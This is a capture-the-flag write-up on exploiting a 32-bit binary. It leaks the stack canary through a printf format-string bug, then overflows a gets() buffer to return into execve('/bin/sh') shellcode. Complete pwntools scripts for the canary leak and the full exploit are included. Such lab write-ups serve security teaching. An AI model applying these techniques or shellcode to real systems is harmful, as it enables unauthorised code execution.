CANUSAYHELLO
ret2shell
Architecture and protections
The binary is x32, with executable stack, but also with canary.

Static analysis
main() leaks the address of the start of the input buffer at line 46, and has a vulnerable gets() at line 63, accessible by choosing option 3:

Rename(), accessible by choosing option 1, takes the input and stores it at the global variable name:

Greeting(), accessible by choosing option 2, has a vulnerable printf() at line 12 which prints the global variable name:

Exploit planning
- Use the looping feature to repeatedly set
name(option 1) to the form%i$p, whereiis a positive integer, then leak diffent stack values viaprintf()(option 2), until theithat leaks the canary is found. - Perform buffer overflow via
gets()(option 3), with the shellcode as the main content, the leaked address as the return address, and also overwriting the canary with itself to prevent detection of stack smashing.
Exploit crafting
In x32, the canary is 4 bytes long, seems random, and when printed using the below method, the last 2 hex digits should be 00.
Fuzzing the canary:
from pwn import *
def print_info(msg):
print("[\033[1;34m*\033[0m] " + f"{msg}")
elf = context.binary = ELF("./CANUSAYHELLO", checksec=False)
context.log_level = "error"
p = process()
for i in range(1,16):
p.sendline(b"1")
p.sendline(f"%{i}$p".encode())
p.sendline(b"2")
p.recvuntil(b"Hello ")
leak = p.recvline().decode().strip()
print_info(f"{i} : {leak}")

Finding the pad length required:

In this program, local_2c is the input buffer, while local_c is the canary. Therefore the padding until the canary is 0x2c - 0xc = 0x20 = 32. However, the actual padding bytes will be fewer as part of the buffer is occupied by shellcode:
[shellcode][padding][canary ][padding][return address]
[local_2c ][local_c][local_8][return address]
Exploit code
from pwn import *
def print_success(msg):
print("[\033[1;92m+\033[0m] " + f"{msg}")
elf = context.binary = ELF("./CANUSAYHELLO", checksec=False)
context.log_level = "error"
p = process()
buffer = int(p.recvline().strip().split(b" ")[-1], 16)
print_success(f"buffer : {hex(buffer)}")
p.sendline(b"1")
p.sendline(b"%p")
p.sendline(b"2")
p.recvuntil(b"Hello ")
canary = int(p.recvline().strip(), 16)
print_success(f"canary : {hex(canary)}")
shellcode = asm("""
xor ecx, ecx
mul ecx
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
""")
pad_length = 32 - len(shellcode)
assert pad_length > 0, "Shellcode too large!"
print_success(f"shellcode : {len(shellcode)} bytes")
payload = flat(
shellcode,
pad_length * b'A',
canary,
8 * b'B',
buffer
)
p.sendline(b"3")
p.sendline(payload)
sleep(0.1)
p.sendline(b"cat flag.txt")
p.interactive()
Exploit success
